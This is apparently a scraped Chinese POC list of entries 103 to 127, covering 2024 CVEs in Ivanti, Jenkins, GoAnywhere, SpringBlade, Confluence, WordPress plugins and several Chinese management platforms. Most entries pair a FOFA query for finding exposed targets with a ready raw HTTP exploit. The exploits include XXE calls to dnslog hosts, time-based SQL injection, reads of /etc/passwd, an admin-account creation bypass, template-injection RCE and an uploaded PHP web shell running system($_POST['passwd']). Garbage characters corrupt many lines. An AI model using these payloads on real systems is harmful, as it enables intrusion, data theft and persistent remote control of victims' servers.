Accept-Encoding: gzip
# s& N  q' w6 [/ K; P- B6 {
<?xml version="1.0" encoding="UTF-8"?><soap:Envelope xmlns:soap="http://schemas.xmlsoap.org/soap/envelope/"><soap:Body>             <ds:Signature           xmlns:ds="http://www.w3.org/2000/09/xmldsig#">                   <ds:SignedInfo>                        <ds:CanonicalizationMethod Algorithm="http://www.w3.org/2001/10/xml-exc-cc14n#"/>                         <ds:SignatureMethod Algorithm="http://www.w3.org/2000/09/xmldsig#rsa-sha1"/>                    </ds:SignedInfo>                       <<ds:SignatureValue>qwerty</ds:SignatureValue>                    <ds:KeyInfo xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" xsi:schemaLocation="http://www.w3.org/22000/09/xmldsig" xmlns:ds="http://www.w3.org/2000/09/xmldsig#">                         <ds:RetrievalMethod URI="http://kr9dqoau.dnslog.pw"/><<ds:X509Data/>                   </ds:KeyInfo>                  <ds:Object></ds:Object>         </ds:Signature> </soap:Body></soap:Envelope>
. A% i; w  A- O- ?
103. Ivanti Pulse Connect Secure VPN XXE
: B& o% W$ U! `5 C. F7 XCVE-2024-22024
FOFA：body="welcome.cgi?p=logo"
POST /dana-na/auth/saml-sso.cgi HTTP/1.1
$ j  S. ?/ f6 Z& jHost: 192.168.40.130:111
User-Agent: Mozilla/5.0 (Windows NT 10.0) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/40.0.2214.93 Safari/537.36
( C" N" X, ]9 |Connection: close
+ p) W) `! I$ kContent-Length: 204
Content-Type: application/x-www-form-urlencoded
  z3 z7 Y: X% n: @/ h" i5 OAccept-Encoding: gzip
# Y3 P3 s* N3 A! I. ]" r; i
6 Q0 h) `7 j, O% p7 c$ T0 l1 tSAMLRequest=PD94bWwgdmVyc2lvbj0iMS4wIiA/PjwhRE9DVFlQRSByb290IFs8IUVOVElUWSAlIHdhdGNoVG93ciBTWVNURU0KICAgICJodHRwOi8vYzJ2a2J3YnMuZG5zbG9nLnB3L3giPiAld2F0Y2hUb3dyO10+PHI+PC9yPg==
  Y" b8 w6 `6 C' a5 D1 ~

5 u3 v! ]2 l% O& e$ v' N1 ]' `其中SAMLRequest的值是xml文件内容的base64值，xml文件如下
<?xml version="1.0" ?><!DOCTYPE root [<!ENTITY % watchTowr SYSTEM"http://c2vkbwbs.dnslog.pw/x"> %watchTowr;]><r></r>


4 ]7 g5 }+ g" s" O0 G104. Totolink T8 设置 cstecgi.cgi getSysStatusCfg 信息泄露
# n  r5 ?  w  }' d0 ICVE-2024-0569
3 G6 l- P9 J3 |! n# Y* rFOFA：title="TOTOLINK"
POST /cgi-bin/cstecgi.cgi HTTP/1.1
Host:192.168.0.1
Content-Length:41
Accept:application/json,text/javascript，*/*;q=0.01
X-Requested-with: XMLHttpRequest
. A! Y5 P, n% S0 vUser-Agent: Mozilla/5.0 (Windows NT 10.0;Win64; x64)AppleWebKit/537.36 (KHTML, like Gecko)Chrome/99.0.4844.51Safari/537.36
2 L6 K8 }. w( ~4 {/ B( d* IContent-Type: application/x-www-form-urlencoded:charset=UTF-8
! O- T' H9 l+ Q' e$ @# EOrigin: http://192.168.0.1
0 ^5 m: `2 ?% l" v0 z! _2 h$ _/ ^. @Referer: http://192.168.0.1/advance/index.html?time=1671152380564
- P  _% g3 J0 W) F9 F3 s! N5 {Accept-Encoding:gzip,deflate
1 f+ j& ]& S1 J! pAccept-Language:zh-Tw,zh:g=0.9.en-US:g=0.8.en:g=0.7
" g& Q3 y$ @5 ~+ L4 r3 ?! lConnection:close
7 X6 e0 Z3 y# W( w' D9 w4 Y5 k
{
/ K9 x( r! d& v+ j: m% `"topicurl":"getSysStatusCfg",
"token":""
}

7 P5 d, F5 O  [8 F( L105. SpringBlade v3.2.0 export-user SQL 注入
$ i# F1 Y/ ~$ p8 ~8 B( WFOFA：body="https://bladex.vip"
http://192.168.40.130.90/api/bla ... ame&1-updatexml(1,concat(0x7e,md5(102103122),0x7e),1)=1

106. SpringBlade dict-biz/list SQL 注入
7 [, }$ u' [) h' n0 A1 UFOFA：body="Saber 将不能正常工作"
GET /api/blade-system/dict-biz/list?updatexml(1,concat(0x7e,version(),0x7e),1)=1 HTTP/1.1
' y$ y* w( ^' U* AHost: your-ip
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/70.0.3538.77 Safari/537.36
. O! S* \0 y; B8 A& o# W2 f  FBlade-Auth: eyJ0eXAiOiJKV1QiLCJhbGciOiJIUzUxMiJ9.eyJpc3MiOiJpc3N1c2VyIiwiYXVkIjoiYXVkaWVuY2UiLCJ0ZW5hbnRfaWQiOiIwMDAwMDAiLCJyb2xlX25hbWUiOiJhZG1pbmlzdHJhdG9yIiwidXNlcl9pZCI6IjExMjM1OTg4MjE3Mzg2NzUyMDEiLCJyb2xlX2lkIjoiMTEyMzU5ODgxNjczODY3NTIwMSIsInVzZXJfbmFtZSI6ImFkbWluIiwib2F1dGhfaWQiOiIiLCJ0b2tlbl90eXBlIjoiYWNjZXNzX3Rva2VuIiwiZGVwdF9pZCI6IjExMjM1OTg4MTM3Mzg2NzUyMDEiLCJhY2NvdW50IjoiYWRtaW4iLCJjbGllbnRfaWQiOiJzd29yZCIsImV4cCI6MTc5MTU3MzkyMiwibmJmIjoxNjkxNTcwMzIyfQ.wxB9etQp2DUL5d3-VkChwDCV3Kp-qxjvhIF_aD_beF_KLwUHV7ROuQeroayRCPWgOcmjsOVq6FWdvvyhlz9j7A
7 N5 `- P8 }& k9 @2 K! dAccept-Encoding: gzip, deflate
: [* Q% k  T0 D: |+ {2 pAccept-Language: zh-CN,zh;q=0.9
" _! v, _+ Z! J6 x5 ?Connection: close
1 b2 C# }5 ^0 J; Q. e; [! @
" y3 y* t- z& E, G. e
107. SpringBlade tenant/list SQL 注入
FOFA：body="https://bladex.vip"
GET /api/blade-system/tenant/list?updatexml(1,concat(0x7e,version(),0x7e),1)=1 HTTP/1.1
1 y9 a0 X/ T. D9 SHost: your-ip
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/70.0.3538.77 Safari/537.36
. G5 O8 y" T  \/ DBlade-Auth:替换为自己的
Connection: close
9 Z. z3 m& u, s# U" n- R) Y

108. D-Tale 3.9.0 SSRF
CVE-2024-21642
FOFA："dtale/static/images/favicon.png"
7 w9 y/ i/ b  s3 w# s1 L9 X* RGET /dtale/web-upload?type=csv&url=http%3A%2F%2Fa4xs0nop.dnslog.pw HTTP/1.1
5 r# g- L3 h5 k4 ^% o/ ]) _% _, F" hHost: your-ip
Accept: application/json, text/plain, */*
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36
Accept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.9,en;q=0.8
Connection: close

4 w+ l8 r6 r; k" D) Z' ?7 q
+ T% \) K( {6 g! `# O9 o3 _, W( N109. Jenkins CLI 任意文件读取
CVE-2024-23897
FOFA：header="X-Jenkins"
! }- }4 [) j: g" ], l$ {5 F' }POST /cli?remoting=false HTTP/1.1
# ^6 ]5 L+ U7 }% eHost:
Content-type: application/octet-stream
/ a! T8 X/ ~1 mSession: 39382176-ac9c-4a00-bbc6-4172b3cf1e92
Side: upload
Connection: keep-alive
Content-Length: 163

b'\x00\x00\x00\x06\x00\x00\x04help\x00\x00\x00\x0e\x00\x00\x0c@/etc/passwd\x00\x00\x00\x05\x02\x00\x03GBK\x00\x00\x00\x07\x01\x00\x05en_US\x00\x00\x00\x00\x03'
4 M! q& w. F6 b& }) ]
/ R* L9 I' h- R2 L7 J% h% j
POST /cli?remoting=false HTTP/1.1
9 j; m2 a3 ?/ T: l) U. WHost:
Session: 39382176-ac9c-4a00-bbc6-4172b3cf1e92
download
9 |1 \) c( o9 J3 c' J7 G& N8 TContent-Type: application/x-www-form-urlencoded
Content-Length: 0

0 r( B! F" f# E! t8 z
ERROR: Too many arguments: daemon:x:1:1:daemon:/usr/sbin:/usr/sbin/nologin
' z7 {6 k8 h- c9 f: jjava -jar jenkins-cli.jar help
$ Y# u9 n, H6 o7 F[COMMAND]
Lists all the available commands or a detailed description of single command.
COMMAND : Name of the command (default: root:x:0:0:root:/root:/bin/bash)


& `- C" W9 }9 e( N0 T110. Goanywhere MFT 未授权创建管理员
3 Y& O: b5 ~  f& ~$ gCVE-2024-0204
FOFA：body="InvalidBrowser.xhtml"|| icon_hash="1484947000"|| icon_hash="1828756398"|| icon_hash="1170495932"
GET /goanywhere/images/..;/wizard/InitialAccountSetup.xhtml HTTP/1.1
Host: 192.168.40.130:8000
, V% h& f: U# AUser-Agent: Mozilla/5.0 (X11; Ubuntu; Linux i686 on x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/53.0.2820.59 Safari/537.36
Connection: close
Accept: */*
Accept-Language: en
Accept-Encoding: gzip

1 o0 h. ^4 D: g2 B/ O
111. WordPress Plugin HTML5 Video Player SQL注入
CVE-2024-1061
: c  N: d# `1 I/ b1 w0 nFOFA："wordpress" && body="html5-video-player"
, a1 [2 U. A) l6 c0 KGET /?rest_route=/h5vp/v1/view/1&id=1'+AND+(SELECT+1+FROM+(SELECT(SLEEP(6)))a)--+- HTTP/1.1
* M. @4 ^, \, V$ r8 oHost: 192.168.40.130:112
# ~3 P: w) J5 GUser-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/36.0.1985.67 Safari/537.36
Connection: close
Accept: */*
Accept-Language: en
Accept-Encoding: gzip

; K. F# i' z7 D- Q. |8 I7 M" W
) S( d' D1 r& H3 S2 ^112. WordPress Plugin NotificationX SQL 注入
CVE-2024-1698
6 |& d5 X+ m! u$ @" j6 zFOFA：body="/wp-content/plugins/notificationx"
# ]2 B- x# ~, _1 G+ V9 V0 aPOST /wp-json/notificationx/v1/analytics HTTP/1.1
* ~# F: I! e$ r6 v9 vHost: {{Hostname}}
: m  r! F' T) W$ X. A) ]* pContent-Type: application/json

2 b5 }7 w, f! i{"nx_id": "1","type": "clicks`=1 and 1=sleep(5)-- -"}


113. WordPress Automatic 插件任意文件下载和SSRF
6 @0 D- @( A0 ~CVE-2024-27954
FOFA："/wp-content/plugins/wp-automatic"
GET /?p=3232&wp_automatic=download&link=file:///etc/passwd HTTP/1.1
$ [8 {& Z5 z9 i: A+ eHost: x.x.x.x
User-Agent: Mozilla/5.0 (Windows NT 6.3; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/41.0.2226.0 Safari/537.36
6 V  i$ O: m* u; MConnection: close
+ J: s# @5 {( T; ~  h) DAccept: */*
Accept-Language: en
# H9 @. s. I8 Q. e* oAccept-Encoding: gzip


; Z! J+ s1 Q  B3 G) o/ J2 j114. WordPress MasterStudy LMS插件 SQL注入
! w# z, x: i- _" N% `' X8 a& hFOFA：body="wp-content/plugins/masterstudy-lms-learning-management-system/"
9 f- K# y6 V% e0 D( {5 g8 xGET /?rest_route=/lms/stm-lms/order/items&author_id=1&user=1)+AND+%28SELECT+3493+FROM+%28SELECT%28SLEEP%285%29%29%29sauT%29+AND+%283071%3D3071 HTTP/1.1
5 f5 I2 e0 t0 ~" i5 V  n) v0 @Host: your-ip
. y+ Q/ `3 e9 @6 @. M4 I( eUser-Agent: Mozilla/5.0 (Linux; Android 11; motorola edge 20 fusion) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/101.0.4951.61 Mobile Safari/537.36
. M9 R7 R4 d0 p: f8 ^0 w6 |Accept-Charset: utf-8
Accept-Encoding: gzip, deflate
2 M- H/ E/ }* @: O9 |  i: O# JConnection: close


4 v- U; k0 v" O0 N115. WordPress Bricks Builder <= 1.9.6 RCE
CVE-2024-25600
; d! w2 J2 s" U" _+ s& n3 J  s" s8 LFOFA: body="/wp-content/themes/bricks/"
' S$ ?: V: S, E1 f第一步，获取网站的nonce值
( x8 r; Q/ `# y; @9 ^  l1 j4 k2 hGET / HTTP/1.1
% ~( w$ X; a' A2 m' b, oHost: x.x.x.x
User-Agent: Mozilla/5.0 (Windows NT 10.0) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/40.0.2214.93 Safari/537.36
7 W0 l% w; Y, W* N& cConnection: close
  O  i% g& a1 F3 CAccept-Encoding: gzip
! @& N- I1 S4 r, `8 c! j
; J, N6 x& Y5 E# _3 a
: N& B0 A. {2 [6 o2 G' j第二步替换nonce值，执行命令
! u2 U! n% ]6 Z+ V2 C! dPOST /wp-json/bricks/v1/render_element HTTP/1.1
Host: x.x.x.x
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_9_2) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/52.0.2762.73 Safari/537.36
Connection: close
. D2 y4 ]% M7 r$ q! G1 KContent-Length: 356
Content-Type: application/json
Accept-Encoding: gzip
2 s( b  M8 j, p8 K5 T
. t/ R; s! |3 y+ T! w/ E- R2 V{
( y8 w3 Y% O* B5 v* P8 c"postId": "1",
% J/ j. [1 f' W  L1 q  "nonce": "第一步获得的值",
  "element": {
% Z" b! d& Q' N2 g4 |    "name": "container",
    "settings": {
      "hasLoop": "true",
/ h8 v; z0 j5 I4 I, F9 M      "query": {
. }  t5 r, u3 m$ ^8 t        "useQueryEditor": true,
: V. b6 L+ R9 T) Y' p# ]        "queryEditor": "ob_start();echo `id`;$output=ob_get_contents();ob_end_clean();throw new Exception($output);",
$ @% h* Z' S# H; j/ A4 O9 T, E" K        "objectType": "post"
      }
8 K4 F3 S: {" e9 E  r    }
6 ?' K& U$ c" M& [/ ?8 {7 C  }
' C" ~8 T: i& [- |}

$ Z% ^8 u. d4 k6 I) A7 ~
116. wordpress js-support-ticket文件上传
: Y4 V/ {( c5 J7 _7 fFOFA：body="wp-content/plugins/js-support-ticket"
POST /wp-admin/?page=configuration&task=saveconfiguration HTTP/1.1
Host:
  t+ g3 l& w6 f$ L9 h6 T+ \3 WContent-Type: multipart/form-data; boundary=--------767099171
  M, b, D4 |, x# q( V, DUser-Agent: Mozilla/5.0
3 P" a( Q' N3 H1 W& k
----------767099171
Content-Disposition: form-data; name="action"
& ?$ i% @6 T" a4 |# oconfiguration_saveconfiguration
4 y+ V9 q/ F1 C----------767099171
, S% G. c( n9 m0 I0 I4 {7 ]Content-Disposition: form-data; name="form_request"
2 h' p: g1 q4 C" {9 r6 ?jssupportticket
----------767099171
# }3 o5 X+ T2 F8 lContent-Disposition: form-data; name="support_custom_img"; filename="{{rand8}}.php"
Content-Type: image/png
* ?$ L- A# p/ w" H9 \----------767099171--

& ?& ]6 ?6 K  }* H, G8 h
' s  U5 L+ l4 Z+ c& W117. WordPress LayerSlider插件SQL注入
7 w4 a/ d3 G0 }- \3 L$ k8 N8 Kversion：7.9.11 – 7.10.0
$ m" X" p" _: b& ^' TFOFA：body="/wp-content/plugins/LayerSlider/"
2 Z% X; e' o. L5 j! z! N6 kGET /wp-admin/admin-ajax.php?action=ls_get_popup_markup&id[where]=1)and+(SELECT+6416+FROM+(SELECT(SLEEP(5)))nEiK)--+vqlq HTTP/1.1
Host: your-ip
: X. [7 n! E4 S% r9 [7 r4 b6 }User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:123.0) Gecko/20100101 Firefox/123.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8
9 j1 D: a3 A: I  s# nAccept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
! l8 O' p- v( D* v& D0 }( hAccept-Encoding: gzip, deflate, br
" E( a( k% E: \% a: XConnection: close
Upgrade-Insecure-Requests: 1


118. 北京百绰智能S210管理平台uploadfile.php任意文件上传
0 p  I  Q+ [8 ?  h2 w  m: l2 \CVE-2024-0939
7 W& z, ?3 J3 W1 g; w% U$ V3 b6 u. @FOFA：title="Smart管理平台"
) u. I6 }) V  C7 cPOST /Tool/uploadfile.php? HTTP/1.1
Host: 192.168.40.130:8443
" G; T/ J( P( ]: x5 ~Cookie: PHPSESSID=fd847fe4280e50c2c3855ffdee69b8f8
$ k" E) Z( G- g" D5 s- k5 AUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:109.0) Gecko/20100101 Firefox/117.0
9 C5 }; w4 N1 S0 \" JAccept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8
Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
Accept-Encoding: gzip, deflate
Content-Type: multipart/form-data; boundary=---------------------------13979701222747646634037182887
9 J" l* U$ m1 D/ I* B! R  BContent-Length: 405
8 J7 r1 G* c1 e6 k% uOrigin: https://192.168.40.130:8443
Referer: https://192.168.40.130:8443/Tool/uploadfile.php
' K4 A) C( K6 `6 AUpgrade-Insecure-Requests: 1
2 @3 N. W  c& Q4 K: ]1 oSec-Fetch-Dest: document
Sec-Fetch-Mode: navigate
Sec-Fetch-Site: same-origin
" ~7 {* D- C2 [$ pSec-Fetch-User: ?1
, p+ v7 ?9 C  \8 S3 a" |9 B* qTe: trailers
Connection: close
4 r( e% Q' w, {5 g% a# M
* z; U# k/ u( l1 f9 w# o) g. \-----------------------------13979701222747646634037182887
' h# i& q' I$ t0 T0 R+ jContent-Disposition: form-data; name="file_upload"; filename="contents.php"
: I0 f' O4 e* S# s; lContent-Type: application/octet-stream

<?php
: @4 j& B, m1 g! Y" Psystem($_POST["passwd"]);
?>
-----------------------------13979701222747646634037182887
Content-Disposition: form-data; name="txt_path"
: {3 A: T& S# S: `6 D
/home/src.php
-----------------------------13979701222747646634037182887--
' p" h4 p# p( b7 O6 u3 Z0 e  r

访问/home/src.php
+ \$ ^; X+ o/ {3 I, @: e4 T
119. 北京百绰智能S20后台sysmanageajax.php sql注入
8 D- R4 s8 v# Y: j+ bCVE-2024-1254
# Y( p* K# @3 l) H6 D. UFOFA：title="Smart管理平台"
先登录进入系统，默认账号密码为admin/admin
/ r0 h# k: ~* }8 o* w, C: c9 ZPOST /sysmanage/sysmanageajax.php HTTP/1.11
Host: x.x.x.x
) _8 a8 q) o1 W. A9 rCookie: PHPSESSID=b7e24f2cb8b51338e8531e0b50da49ee
4 O2 ~7 }" @' [' n9 @* ?3 k- q6 uUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:109.0) Gecko/20100101 Firefox/118.0
Accept: */*
" v; Q# D. Z4 B3 \5 W( WAccept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
) {  \- |1 c8 P( ?& pAccept-Encoding: gzip, deflate
/ A) U4 o6 O, T0 I- j8 f8 W, z( z  dContent-Type: application/x-www-form-urlencoded;
Content-Length: 109
  ~6 Y6 K  K* W2 c9 C* ROrigin: https://58.18.133.60:8443
Referer: https://58.18.133.60:8443/sysmanage/manageadmin.php
# V  C& x: ~% m2 y! |Sec-Fetch-Dest: empty
Sec-Fetch-Mode: cors
3 H6 t6 Y! \" jSec-Fetch-Site: same-origin
X-Forwarded-For: 1.1.1.1
! {5 X3 j# l/ e2 N! W) K5 mX-Originating-Ip: 1.1.1.1
0 A  X9 Z- V" @" I0 ~2 j. {7 [X-Remote-Ip: 1.1.1.1
X-Remote-Addr: 1.1.1.1
+ p. N/ J' B' G* O- y6 R( }Te: trailers
# M4 l0 g& Y- W4 f* [3 D% O3 rConnection: close
3 `) C  ~& `4 E# i. H0 o9 S
  K+ V# y9 |1 }2 Gsrc=manageadmin&type=add&id=(select*from(select+if(length(database())=3,sleep(5),1))a)|1|1&value=test2|123456


120. 北京百绰智能S40管理平台导入web.php任意文件上传
. }8 a; E/ t9 ]5 U4 SCVE-2024-1253
FOFA：title="Smart管理平台"
POST /useratte/web.php? HTTP/1.1
Host: ip:port
; t5 v- C- E- V; ]) o5 c4 H7 _Cookie: PHPSESSID=cb5c0eb7b9fabee76431aaebfadae6db
User-Agent: Mozilla/5.0 (Windows NT 6.1; Win64; x64; Trident/7.0; rv:11.0) like Gecko
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8
Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
Accept-Encoding: gzip, deflate
" u* G! H* R" F7 HContent-Type: multipart/form-data; boundary=---------------------------42328904123665875270630079328
Content-Length: 597
Origin: https://ip:port
# g- l9 d+ m( `3 j, jReferer: https://ip:port/sysmanage/licence.php
( ]* F" c7 b) q/ j0 `; p+ _7 c( jUpgrade-Insecure-Requests: 1
1 A0 n  H* x5 C: a' S4 Z( Y  SSec-Fetch-Dest: document
8 @. `" t- h4 T  SSec-Fetch-Mode: navigate
Sec-Fetch-Site: same-origin
Sec-Fetch-User: ?1
  P4 K% k0 C( Q% Q- @' BTe: trailers
Connection: close
1 G9 ~5 R+ h6 s
-----------------------------42328904123665875270630079328
0 y3 L3 B% ?) v: m/ ?, ~# XContent-Disposition: form-data; name="file_upload"; filename="2.php"
8 D' U! {! f, OContent-Type: application/octet-stream

: C5 A6 n  t8 [  q2 c<?php phpinfo()?>
-----------------------------42328904123665875270630079328
' a  _* \9 i- s" b. b. M5 [* eContent-Disposition: form-data; name="id_type"

1
; F( f2 K2 J9 g; @  `; R% P1 i-----------------------------42328904123665875270630079328
% O# w9 X* T% b) o+ O/ M7 yContent-Disposition: form-data; name="1_ck"

3 l0 ?$ z3 U% R1_radhttp
-----------------------------42328904123665875270630079328
" D) q6 A" {2 B7 \4 m- i+ q5 ~& C6 aContent-Disposition: form-data; name="mode"
' u+ O2 n1 D5 u  l2 ^
import
-----------------------------42328904123665875270630079328
1 p% s" J8 u$ L) C
7 k( g% ?; `1 s- Z4 j% X+ @
文件路径/upload/2.php
# c- }! e, Z3 @( O- {) h9 Z
121. 北京百绰智能S42管理平台userattestation.php任意文件上传
CVE-2024-1918
. P* I/ ^! _" `; v- x' G2 \0 O8 BFOFA：title="Smart管理平台"
POST /useratte/userattestation.php HTTP/1.1
Host: 192.168.40.130:8443
Cookie: PHPSESSID=2174712c6aeda51c4fb6e6c5e6aaac50
# G2 Y7 O5 ?4 XUser-Agent: Mozilla/5.0 (Windows NT 6.1; Win64; x64; Trident/7.0; rv:11.0) like Gecko
/ i( k7 S1 ~: c( n+ Y6 y) _Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8
. O! v& n0 y4 L# [Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
Accept-Encoding: gzip, deflate
: C) F( A, W2 l/ kContent-Type: multipart/form-data; boundary=---------------------------42328904123665875270630079328
, N6 T- `. i1 h- [0 IContent-Length: 592
Origin: https://192.168.40.130:8443
4 Q* c7 }% f. d4 J/ K" ]Upgrade-Insecure-Requests: 1
1 r! d: S( r. z- @6 bSec-Fetch-Dest: document
; o/ v* x2 Y5 L* r8 wSec-Fetch-Mode: navigate
5 y1 P' Q- H. ~2 ?" DSec-Fetch-Site: same-origin
  m9 a8 k) X2 wSec-Fetch-User: ?1
Te: trailers
- c* y9 Y1 J3 G* d2 H9 O& FConnection: close

-----------------------------42328904123665875270630079328
6 g8 ^& m: b4 W0 F6 CContent-Disposition: form-data; name="web_img"; filename="1.php"
Content-Type: application/octet-stream

1 `' H' k! W! x( I+ e<?php phpinfo();?>
6 f1 D, }8 i3 o, a: ?-----------------------------42328904123665875270630079328
3 H* `( t0 m) B$ S+ Y( w- R3 k2 A& nContent-Disposition: form-data; name="id_type"
2 k" R) J3 U% [' b; h2 b( T8 w
1
: Y1 T* O$ k6 {; w5 W' [! }$ f-----------------------------42328904123665875270630079328
' w" K" L# Q0 S+ E  ?  b* xContent-Disposition: form-data; name="1_ck"

1_radhttp
+ }0 S/ q$ I  A-----------------------------42328904123665875270630079328
Content-Disposition: form-data; name="hidwel"
# k7 P0 H" L9 S" @, A
set
-----------------------------42328904123665875270630079328
3 i$ k4 U2 C* L$ c/ ^3 P
) \- m- q- A7 @' j$ g5 G
; ]1 s$ T: _( V$ H5 lboot/web/upload/weblogo/1.php
9 N7 V; r$ ~* h+ w
122. 北京百绰智能s200管理平台/importexport.php sql注入
CVE-2024-27718FOFA：title="Smart管理平台"
其中sql=c2VsZWN0IDEsZGF0YWJhc2UoKSx2ZXJzaW9uKCk=是sql语句使用base64加密后的内容，原文：sql=select 1,database(),version()
GET /importexport.php?sql=c2VsZWN0IDEsZGF0YWJhc2UoKSx2ZXJzaW9uKCk=&type=exportexcelbysql HTTP/1.1
Host: x.x.x.x
Cookie: PHPSESSID=f20e837c8024f47058ad2f689873dfc0
% b6 b9 ?9 a/ D% q) f) _7 x0 uUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:123.0) Gecko/20100101 Firefox/123.0
; h( k# Y9 B9 H7 Q9 |. cAccept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8
Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
  Y- h& @1 [0 H) q: j6 I2 X: uAccept-Encoding: gzip, deflate, br
5 z. m& b! k& E9 s8 }Upgrade-Insecure-Requests: 1
Sec-Fetch-Dest: document
Sec-Fetch-Mode: navigate
Sec-Fetch-Site: none
5 ^: [) \' r- N9 r  `$ `0 SSec-Fetch-User: ?1
6 b+ W; l+ l& p( F# |! gTe: trailers
Connection: close
3 T# F- k+ u8 ^( h
% \7 x8 @9 {: o5 B$ O% b6 N% E) V
123. Atlassian Confluence 模板注入代码执行
FOFA：app="ATLASSIAN-Confluence" && body="由 Atlassian 合流8.5.3"
$ i" o+ y9 \5 e2 n) r% oPOST /template/aui/text-inline.vm HTTP/1.1
Host: localhost:8090
Accept-Encoding: gzip, deflate, br
Accept: */*
Accept-Language: en-US;q=0.9,en;q=0.8
0 B$ b9 a5 q' |4 FUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.6045.159 Safari/537.36
8 d/ |8 F0 S; fConnection: close
3 T) V) T8 R4 ?4 m/ xContent-Type: application/x-www-form-urlencoded

label=\u0027%2b#request\u005b\u0027.KEY_velocity.struts2.context\u0027\u005d.internalGet(\u0027ognl\u0027).findValue(#parameters.x,{})%2b\u0027&x=@org.apache.struts2.ServletActionContext@getResponse().setHeader('X-Cmd-Response',(new freemarker.template.utility.Execute()).exec({"id"}))
, c  P+ u, l" t+ t8 v$ V' e
$ O2 Z3 V) H! T# q% S- e
124. 湖南建研工程质量检测系统任意文件上传
FOFA：body="/Content/Theme/Standard/webSite/login.css"
% g, O# Q% ?& m  n7 XPOST /Scripts/admintool?type=updatefile HTTP/1.1
' j) ]0 R( X! ~$ _- V0 ^$ `Host: 192.168.40.130:8282
User-Agent: Mozilla/5.0 (Windows NT 6.3; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/37.0.2049.0 Safari/537.36
Content-Length: 72
- _; h: Q9 _; ~( ^7 n5 N7 F. ?+ dAccept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8
+ R0 [; }* _8 u- F, g# p$ DAccept-Encoding: gzip, deflate, br
Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
6 S' v  D- W: u: U$ IConnection: close
Content-Type: application/x-www-form-urlencoded

' d+ i, z  n4 W( Q, YfilePath=abcgcg.aspx&fileContent=<%Response.Write("Hello,World")%>
) T0 `. C7 ]; O/ |. F4 o7 I) b

/ D7 C; F" f$ t$ w' rhttp://192.168.40.130:8282/Scripts/abcgcg.aspx
+ t/ p  p$ _" ~4 c9 r0 h% J  E7 r1 O
125. ConnectWise ScreenConnect身份验证绕过
: b! i/ ?5 R4 j" W: F  J: A- D9 ECVE-2024-1709
FOFA：icon_hash="-82958153"
9 x& V6 k# F( f: d% @https://github.com/watchtowrlabs ... bypass-add-user-poc
4 F. n3 [: V1 Y0 u( J8 t1 a
6 v4 _. ~5 q! x
) X( W) I# f+ @7 w1 {$ y# E使用方法
$ @" n& p7 y) D. ~# E8 Hpython watchtowr-vs-ConnectWise_2024-02-21.py --url http://localhost --username hellothere --password admin123!
8 x% R3 D: V% A0 H- c7 L* Z3 R
$ R" p+ j. S/ O$ s4 P
0 q; Y8 X* X7 h) j0 X/ h) N创建好用户后直接登录后台，可以执行系统命令。
4 v/ Z2 ~2 k/ y- U( g
+ R- ?. J, w2 s7 N0 q126. Aiohttp 路径遍历
, R, y9 z6 L8 p7 b" dFOFA：title=="ComfyUI"
GET /static/../../../../../etc/passwd HTTP/1.1
, c7 W; @% U: f8 h( C% jHost: x.x.x.x
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_9_2) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/52.0.2762.73 Safari/537.36
* |- e* g* d/ T- B. @Connection: close
Accept: */*
Accept-Language: en
+ P% ^7 ?0 |- _! J/ w! W) A) _Accept-Encoding: gzip

$ m5 {" a% |$ j' f- F0 s
9 `% Q  |7 k7 ]) h! f127. 广联达Linkworks DataExchange.ashx XXE
% M. G6 \& P3 x  [0 W  G+ A4 @FOFA：body="Services/Identification/login.ashx"
POST /GB/LK/Document/DataExchange/DataExchange.ashx HTTP/1.1
Host: 192.168.40.130:8888
